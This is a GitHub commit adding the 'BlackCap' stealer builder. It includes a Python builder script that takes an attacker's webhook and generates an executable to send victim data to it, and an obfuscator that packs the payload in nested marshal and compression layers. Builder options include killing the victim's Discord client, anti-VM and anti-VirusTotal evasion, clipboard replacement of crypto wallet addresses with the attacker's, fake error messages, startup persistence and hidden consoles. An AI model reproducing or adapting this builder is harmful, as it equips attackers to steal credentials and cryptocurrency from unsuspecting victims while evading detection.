Add files via upload

This commit is contained in:
SupraKSCH 2023-03-15 00:18:13 +01:00 committed by GitHub
commit 19cdee6518
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
15 changed files with 3485 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 139 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

File diff suppressed because one or more lines are too long

BIN
blackcap_files/upx/upx.exe Normal file

Binary file not shown.

678
builder.py Normal file
View File

@ -0,0 +1,678 @@
import os
import random
import shutil
import subprocess
import sys
import time
from json import load
from urllib.request import urlopen
import requests
from colorama import Fore, Style, init
class Builder:
def __init__(self) -> None:
self.loading()
if not self.check():
exit()
self.bannergui()
self.bannergui()
self.webhook = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your webhook: ')
if not self.check_webhook(self.webhook):
print(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}")
str(input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."))
sys.exit()
self.filename = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your custom output .exe name: ')
self.killprocess = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Kill victim Discord Client? (yes/no): ')
if self.killprocess.lower() == 'y' or self.killprocess.lower() == 'yes':
self.killprocess = True
else:
self.killprocess = False
self.dbugkiller = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enable Anti-Debug (Recommand yes, Kill Virus-Total Machines / Virtual Machines or other)? (yes/no): ')
if self.dbugkiller.lower() == 'y' or self.dbugkiller.lower() == 'yes':
self.dbugkiller = True
else:
self.dbugkiller = False
self.ping = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping on new victim? (yes/no): ')
if self.ping.lower() == 'y':
self.ping = "yes"
if self.ping.lower() == 'yes':
self.ping = "yes"
self.pingtype = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping type? (here/everyone): ').lower()
if self.pingtype not in ["here", "everyone"]:
# default to @here if invalid ping type.
self.pingtype == "here"
else:
self.ping = "no"
self.pingtype = "none"
#(the victim will not realize it and you will intercept each of his transactions)
self.address_replacer = input(f'{Fore.CYAN}[{Fore.RESET}NEW{Fore.CYAN}]{Fore.RESET} Replace all copied crypto address wallet by your address ? (yes/no): ')
if self.address_replacer.lower() == 'yes':
self.address_replacer = "yes"
self.btc_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Bitcoin Address (let empty if you do not have): ').lower()
if not self.btc_address.lower():
self.btc_address = 'none'
self.eth_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ethereum Address (let empty if you do not have):').lower()
if not self.eth_address.lower():
self.eth_address = '0x4c305D9d4CdF740FF4f2166ecF65c1DF73e93472'
self.xchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your X-Chain Address (let empty if you do not have):').lower()
if not self.xchain_address.lower():
self.xchain_address = 'none'
self.pchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your P-Chain Address (let empty if you do not have):').lower()
if not self.pchain_address.lower():
self.pchain_address = 'none'
self.cchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your C-Chain Address (let empty if you do not have):').lower()
if not self.cchain_address.lower():
self.cchain_address = 'none'
self.monero_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Monero Address (let empty if you do not have):').lower()
if not self.monero_address.lower():
self.monero_address = 'none'
self.ada_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ada/Cardano Address (let empty if you do not have):').lower()
if not self.ada_address.lower():
self.ada_address = 'none'
self.dash_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Dash Address (let empty if you do not have):').lower()
if not self.dash_address.lower():
self.dash_address = 'none'
else:
self.address_replacer = "no"
self.btc_address = "none"
self.eth_address = "none"
self.xchain_address = "none"
self.pchain_address = "none"
self.cchain_address = "none"
self.monero_address = "none"
self.dash_address = "none"
self.ada_address = "none"
self.error = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add a fake error? (yes/no): ')
if self.error.lower() == 'y' or self.error.lower() == 'yes':
self.error = "yes"
else:
self.error = "no"
self.startup = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add file to startup? (yes/no): ')
if self.startup.lower() == 'y' or self.startup.lower() == 'yes':
self.startup = "yes"
else:
self.startup = "no"
self.hider = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Hide BlackCap console for victim? (yes/no): ')
if self.hider.lower() == 'yes' or self.hider.lower() == 'y':
self.hider = "yes"
else:
self.hider = False
self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand yes)? (yes/no): ')
self.compy = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): ')
if self.compy == 'yes':
self.icon = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (yes/no): ')
if self.icon == 'yes':
self.icon_exe()
else:
pass
else:
pass
self.mk_file(self.filename, self.webhook)
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} File successfully created!{Fore.RESET}')
self.cleanup(self.filename)
self.renamefile(self.filename)
run = input(
f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to test the file? [yes/no]: ')
if run.lower() == 'yes' or run.lower() == 'y':
self.run(self.filename)
input(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Press enter to exit...{Fore.RESET}')
sys.exit()
def bannergui(self):
p = Fore.GREEN + Style.DIM
img = fr"""{p}
Γ
,,,
,,,,,,,,,
,,,
Γ
L L L
,,,,,,
,,
``
``` `````` ``` ```
Γ Γ
"""
img1 = fr"""{p}
,
Γ
,
,,,
Γ
L
,,,,,,
``` ``````]-`` ```
,,,J,,,
,,,
```
``` "``▀██████ ```````
"""
img2 = fr"""{p}
,
Γ
,,,
,,,
Γ
,,,, ,,,
]
$
,,,
``````"`` ``````
"""
img3 = fr"""{p}
Γ
,,,
,,,
Γ
L L
]
,,, L ,,,
``` $ ```
,,,
```
`````````
"""
img4 = fr"""{p}
Γ
,
,,,,,,
,,,Å
]
,,,,,,
```
```"``
"""
img5 = fr"""{p}
Γ
,
,,,,,,
,,,,,,
,,,,,,
,,,
`````
Γ
``````
"""
img6 = fr"""{p}
Γ
Γ
,,,Å,,,
,,,J,,,
,,,,,,
``````
```"``▀██████ ```▀███
"""
os.system('mode con:cols=120 lines=45')
print(img)
time.sleep(0.3)
os.system("cls")
print(img1)
time.sleep(0.3)
os.system("cls")
print(img2)
time.sleep(0.3)
os.system("cls")
print(img3)
time.sleep(0.3)
os.system("cls")
print(img4)
time.sleep(0.3)
os.system("cls")
print(img5)
time.sleep(0.3)
os.system("cls")
print(img6)
def loading(self):
p = Fore.GREEN + Style.DIM
r = Fore.RED + Style.BRIGHT
img = fr"""{p}
,
j[
jL
jL
,
L
L
L
m
j
j
j
j
jL
jL
j
j
j
j
j
L
L
L
j
j
j
j
j``````````````` ]````````````````]
j j j
j j j
j j j
,,,,,,,,,,,,,,,
IP: {load(urlopen('https://www.myexternalip.com/json'))['ip']}
Username: {os.getlogin()}
PC Name: {os.getenv('COMPUTERNAME')}
Operating System: {os.getenv('OS')}
|"""
print(Style.RESET_ALL)
def check_webhook(self, webhook):
try:
with requests.get(webhook) as r:
if r.status_code == 200:
return True
else:
return False
except BaseException:
return False
def check(self):
required_files = {'./main.py',
'./requirements.txt',
'./obfuscation.py'}
for file in required_files:
if not os.path.isfile(file):
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] {file} not found!')
return False
try:
print(
subprocess.check_output(
"python -V",
stderr=subprocess.STDOUT))
print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
except subprocess.CalledProcessError:
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] Python not found!')
return False
os.system('pip install --upgrade -r requirements.txt')
os.system('cls')
os.system('mode con:cols=150 lines=20')
return True
def icon_exe(self):
self.icon_name = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter the name of the icon: ')
if os.path.isfile(f"./{self.icon_name}"):
pass
else:
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon not found! Please check the name and make sure it\'s in the current directory.')
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
if self.icon_name.endswith('.ico'):
pass
else:
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon must have .ico extension! Please convert it and try again.')
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
def renamefile(self, filename):
try:
os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
def mk_file(self, filename, webhook):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Generating source code...{Fore.RESET}')
with open('./main.py', 'r', encoding="utf-8") as f:
code = f.read()
with open(f"{filename}.py", "w", encoding="utf-8") as f:
f.write(code.replace('%WEBHOOK_HERE%', webhook)
.replace("%ping_enabled%", str(self.ping))
.replace("%ping_type%", self.pingtype)
.replace("%_address_replacer%", str(self.address_replacer))
.replace("%_btc_address%", self.btc_address)
.replace("%_eth_address%", self.eth_address)
.replace("%_xchain_address%", self.xchain_address)
.replace("%_pchain_address%", self.pchain_address)
.replace("%_cchain_address%", self.cchain_address)
.replace("%_monero_address%", self.monero_address)
.replace("%_ada_address%", self.ada_address)
.replace("%_dash_address%", self.dash_address)
.replace("%_error_enabled%", str(self.error))
.replace("%_startup_enabled%", str(self.startup))
.replace("%_hide_script%", str(self.hider))
.replace("'%kill_discord_process%'", str(self.killprocess))
.replace("'%_debugkiller%'", str(self.dbugkiller)))
time.sleep(2)
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
if self.obfuscation == 'yes' and self.compy == 'yes':
self.encryption(f"{filename}")
self.compile(f"obfuscated_{filename}")
elif self.obfuscation == 'no' and self.compy == 'yes':
self.compile(f"{filename}")
elif self.obfuscation == 'yes' and self.compy == 'no':
self.encryption(f"{filename}")
else:
pass
def encryption(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
os.system(f"python obfuscation.py -i {filename}.py -o obfuscated_{filename}.py -s 100")
def compile(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}')
if self.icon == 'yes':
icon = self.icon_name
else:
icon = "NONE"
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./blackcap_files/upx -i {icon} --distpath ./ .\\{filename}.py')
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}')
def run(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Attempting to execute file...')
if os.path.isfile(f'./{filename}.exe'):
os.system(f'start ./{filename}.exe')
elif os.path.isfile(f'./{filename}.py'):
os.system(f'python ./{filename}.py')
def cleanup(self, filename):
cleans_dir = {'./__pycache__', './build'}
cleans_file = {f'./{filename}.py', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'}
if self.obfuscation == 'yes' and self.compy == 'no':
cleans_file.remove(f'./obfuscated_compressed_{filename}.py')
elif self.obfuscation == 'yes' and self.compy == 'yes':
cleans_file.add(f'./obfuscated_compressed_{filename}.spec')
elif self.obfuscation == 'no' and self.compy == 'no':
cleans_file.remove(f'./{filename}.py')
else:
pass
for clean in cleans_dir:
try:
if os.path.isdir(clean):
shutil.rmtree(clean)
except Exception:
pass
continue
for clean in cleans_file:
try:
if os.path.isfile(clean):
os.remove(clean)
except Exception:
pass
continue
if __name__ == '__main__':
init()
if os.name != "nt":
os.system("clear")
else:
os.system('mode con:cols=212 lines=212')
os.system("cls")
Builder()

3
install.bat Normal file
View File

@ -0,0 +1,3 @@
@echo off
pip install -r requirements.txt
pause

2190
main.py Normal file

File diff suppressed because it is too large Load Diff

132
obfuscation.py Normal file
View File

@ -0,0 +1,132 @@
import os
import sys
import subprocess
import argparse
import random
import time
import marshal
import lzma
import gzip
import bz2
import binascii
import zlib
def prett(text):
return text.title().center(os.get_terminal_size().columns)
try:
import requests
import tqdm
import colorama
import pyfiglet
except ModuleNotFoundError:
if os.name == 'nt':
_ = 'python'
else:
_ = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
if subprocess.run([_, '-m', 'pip', 'install', '-r', 'requirements.txt']).returncode == 0:
exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
elif subprocess.run(['pip3', 'install', '-r', 'requirements.txt']).returncode == 0:
exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
else:
exit('\x1b[1m\x1b[31m' + prett('[!] something error occured while installing dependencies\n maybe pip isn\'t installed or requirements.txt file not available?'))
BLU = colorama.Style.BRIGHT + colorama.Fore.BLUE
CYA = colorama.Style.BRIGHT + colorama.Fore.CYAN
GRE = colorama.Style.BRIGHT + colorama.Fore.GREEN
YEL = colorama.Style.BRIGHT + colorama.Fore.YELLOW
RED = colorama.Style.BRIGHT + colorama.Fore.RED
MAG = colorama.Style.BRIGHT + colorama.Fore.MAGENTA
LIYEL = colorama.Style.BRIGHT + colorama.Fore.LIGHTYELLOW_EX
LIRED = colorama.Style.BRIGHT + colorama.Fore.LIGHTRED_EX
LIMAG = colorama.Style.BRIGHT + colorama.Fore.LIGHTMAGENTA_EX
LIBLU = colorama.Style.BRIGHT + colorama.Fore.LIGHTBLUE_EX
LICYA = colorama.Style.BRIGHT + colorama.Fore.LIGHTCYAN_EX
LIGRE = colorama.Style.BRIGHT + colorama.Fore.LIGHTGREEN_EX
CLEAR = 'cls' if os.name == 'nt' else 'clear'
COLORS = BLU, CYA, GRE, YEL, RED, MAG, LIYEL, LIRED, LIMAG, LIBLU, LICYA, LIGRE
FONTS = 'basic', 'o8', 'cosmic', 'graffiti', 'chunky', 'epic', 'poison', 'doom', 'avatar'
PYTHON_VERSION = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
colorama.init(autoreset=True)
def encode(source:str) -> str:
selected_mode = random.choice((lzma, gzip, bz2, binascii, zlib))
marshal_encoded = marshal.dumps(compile(source, 'Py-Fuscate', 'exec'))
if selected_mode is binascii:
encoded = binascii.b2a_base64(marshal_encoded)
else:
encoded = selected_mode.compress(marshal_encoded)
if selected_mode is binascii:
TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(binascii.a2b_base64({})))'
return TMP.format(encoded)
else:
TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads({}.decompress({})))'
return TMP.format(selected_mode.__name__, encoded)
def logo() -> None:
os.system(CLEAR)
font = random.choice(FONTS)
color1 = random.choice(COLORS)
color2 = random.choice(COLORS)
while color1 == color2:
color2 = random.choice(COLORS)
print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)
print(color2 + pyfiglet.figlet_format(
'KSCH\nBlackCap',
font=font,
justify='center',
width=os.get_terminal_size().columns),
end=''
)
print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)
def parse_args():
parser = argparse.ArgumentParser(description='obfuscate python programs'.title())
parser._optionals.title = "syntax".title()
parser.add_argument(
'-r','--recursion',
default=False,
required=False,
help="recursion encoding by using this flag you will get x2 obfuscation strength".title(),
dest='r',
action='store_true')
parser.add_argument('-i', '--input', type=str, help='input file name'.title(), required=True)
parser.add_argument('-o', '--output', type=str, help='output file name'.title(), required=True)
parser.add_argument('-s', '--strength', type=int,
help='strengthness of obfuscation. 100 recomended'.title(), required=True)
if len(sys.argv)==1:
parser.print_help()
exit()
return parser.parse_args()
def main():
args = parse_args()
print(random.choice(COLORS) + '\t[+] encoding '.title() + args.input)
if not(args.r):
print(random.choice(COLORS) + '\t[!] you haven\'t selected the recursion mode'.title())
with tqdm.tqdm(total=args.strength) as pbar:
with open(args.input) as input:
if args.r:
for i in range(args.strength):
if i == 0:
encoded = encode(source=input.read())
else:
encoded = encode(source=encode(source=encoded))
time.sleep(0.1)
pbar.update(1)
else:
for i in range(args.strength):
if i == 0:
encoded = encode(source=input.read())
else:
encoded = encode(source=encoded)
time.sleep(0.1)
pbar.update(1)
with open(args.output, 'w') as output:
output.write(f"import asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData\n\ntry:\n\t{encoded}\nexcept KeyboardInterrupt:\n\tpass")
print(LIGRE + '\t[+] encoding successful!\n\tsaved as '.title() + args.output)
if __name__ == '__main__':
logo()
main()